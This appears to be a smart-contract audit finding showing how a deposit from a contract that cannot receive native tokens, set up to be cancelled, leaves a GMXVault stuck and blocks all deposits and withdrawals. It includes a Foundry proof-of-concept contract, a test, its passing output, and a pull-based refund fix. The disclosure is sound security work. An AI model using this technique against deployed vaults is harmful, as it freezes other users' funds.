`GMXVault` can be blocked by a malicious actor
`GMXVault` can be blocked by malicious actor if he made a `depositNative` call with unpayable contract and the deposit then cancelled by the GMX exchange router (3rd party).\\nUsers can deposit native tokens in vaults that either of its token pair is a WNT (wrapped native token) by calling `GMXVault.depositNative` payable function with the required deposit parameters (such as token, amount, minimum share amount, slippage & execution fees), then this function will invoke `GMXDeposit.deposit` with a `msg.value` equals the amount that the user wants to deposit + execution fees.\\nIn GMXDeposit.deposit: various checks are made to ensure the sanity of the deposit parameters and the elligibility of the user to deposit, and to calculate the required `tokenA` & `tokenB` needed to deposit in the `GMX` protocol, then the sent native tokens are deposited in the WNT contract and an equivalent amount of WNT is transferred to the vault.\\nAnd before the call is made to the `GMXManager.addLiquidity` (where a call is going to be made to the `GMX.exchangeRouter` contract) to add liquidity; the status of the vault is checked if it's `Open`, if yes; then the status of the vault is set to `Deposit` so that no more deposits or withdrawls can be made (the vault will be blocked until the operation succeeds).\\nSo if the operation succeeds in the `GMX` exchange router; the vault callback will invoke `preocessDeposit` function to finish the process and update the vault status to `Open`.\\nAnd if the operation of adding liquidity is cancelled by the `GMX` exchange router (3rd party); the vault callback will invoke `processDepositCancellation` function to rollback the process by repaying the lendingVaults debts and paying back the native tokens sent by the user, then update the vault status to Openso that the vault is open again for deposits and withdrawals.\\nUsually the deposit (liquidity addition to `GMX` protocol) fails if the user sets a very high slippage parameter when making a deposit (dp.slippage).\\nHow can this be exploited to block the vault? Imagine the following scenario:\\nIf a malicious user deploys an unpayable contract (doesn't receive native tokens) and makes a call to the `GMXVault.depositNative` function with a very high slippage to ensure that the deposit will be cancelled by the GMX exchange router.\\nSo when the deposit is cancelled and the vault callback `processDepositCancellation` function is invoked by the router; it will revert as it will try to send back the native tokens to the user who tried to make the deposit (which is the unpayable contract in our case).\\nAnd the status of the vault will be stuck in the `Deposit` state; so no more deposits or withdrawals can be made and the vault will be disabled.\\nThe same scenario will happen if the user got blocklisted later by the deposited token contract (tokenA or tokenB), but the propability of this happening is very low as the GMX exchange router will add liquidity in two transactions with a small time separation between them!\\nCode Instances:\\nGMXVault.depositNative\\n```\\n  function depositNative(GMXTypes.DepositParams memory dp) external payable nonReentrant {\\n    GMXDeposit.deposit(_store, dp, true);\\n  }\\n```\\n\\nGMXDeposit.deposit /L88\\n```\\n_dc.user = payable(msg.sender);\\n```\\n\\nGMXDeposit.processDepositCancellation /L209-210\\n```\\n(bool success, ) = self.depositCache.user.call{value: address(this).balance}("");\\n      require(success, "Transfer failed.");\\n```\\n\\nFoundry PoC:\\nA `BlockerContract.sol` is added to mimick the behaviour of an unpayable contract. add the following contract to the `2023-10-SteadeFi/test/gmx/local/BlockerContract.sol` directory:\\n`// SPDX-License-Identifier: MIT\\npragma solidity 0.8.21;\\n\\nimport {GMXTypes} from "../../../contracts/strategy/gmx/GMXTypes.sol";\\nimport {GMXVault} from "../../../contracts/strategy/gmx/GMXVault.sol";\\n\\ncontract BlockerContract {\\n    constructor() payable {}\\n\\n    function callVault(\\n        address payable _vaultAddress,\\n        GMXTypes.DepositParams memory dp\\n    ) external {\\n        GMXVault targetVault = GMXVault(_vaultAddress);\\n        targetVault.depositNative{value: address(this).balance}(dp);\\n    }\\n}`\\n`test_processDepositCancelWillBlockVault` test is added to to the `2023-10-SteadeFi/test/gmx/local/GMXDepositTest.sol` directory; where the blockerContract is deployed with some native tokens to cover deposit amount + execution fees, then this contract calls the `depositNative` via `BlockerContract.callVault`, where the exchange router tries to cancel the deposit but it will not be able as the BlockerContract can't receive back deposited native tokens, and the vault will be blocked.\\nadd this import statement and test to the `GMXDepositTest.sol` file :\\n`import {BlockerContract} from "./BlockerContract.sol";`\\n`  function test_processDepositCancelWillBlockVault() external {\\n        //1. deploy the blockerContract contract with a msg.value=deposit amount + execution fees:\\n        uint256 depositAmount = 1 ether;\\n\\n        BlockerContract blockerContract = new BlockerContract{\\n            value: depositAmount + EXECUTION_FEE\\n        }();\\n\\n        //check balance before deposit:\\n        uint256 blockerContractEthBalance = address(blockerContract).balance;\\n        assertEq(depositAmount + EXECUTION_FEE, blockerContractEthBalance);\\n\\n        //2. preparing deposit params to call "depositNative" via the blockerContract:\\n        depositParams.token = address(WETH);\\n        depositParams.amt = depositAmount;\\n        depositParams.minSharesAmt = 0;\\n        depositParams.slippage = SLIPPAGE;\\n        depositParams.executionFee = EXECUTION_FEE;\\n\\n        blockerContract.callVault(payable(address(vault)), depositParams);\\n\\n        // vault status is "Deposit":\\n        assertEq(uint256(vault.store().status), 1);\\n\\n        //3. the blockerContract tries to cancel the deposit, but it will not be able to do beacuse it's unpayable contract:\\n        vm.expectRevert();\\n        mockExchangeRouter.cancelDeposit(\\n            address(WETH),\\n            address(USDC),\\n            address(vault),\\n            address(callback)\\n        );\\n\\n        // vault status will be stuck at "Deposit":\\n        assertEq(uint256(vault.store().status), 1);\\n\\n        // check balance after cancelling the deposit, where it will be less than the original as no refund has been paid (the blockerContract is unpayable):\\n        assertLt(address(blockerContract).balance, blockerContractEthBalance);\\n    }`\\nTest result:\\n`$ forge test --mt `test_processDepositCancelWillBlockVault`\\nRunning 1 test for test/gmx/local/GMXDepositTest.sol:GMXDepositTest\\n[PASS] test_processDepositCancelWillBlockVault() (gas: 1419036)\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.62ms\\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)`
Add a mechanism to enable the user from redeeming his cancelled deposits (pulling) instead of sending it back to him (pushing).
The vault will be blocked as it will be stuck in the `Deposit` state; so no more deposits or withdrawals can be made.
```\\n  function depositNative(GMXTypes.DepositParams memory dp) external payable nonReentrant {\\n    GMXDeposit.deposit(_store, dp, true);\\n  }\\n```\\n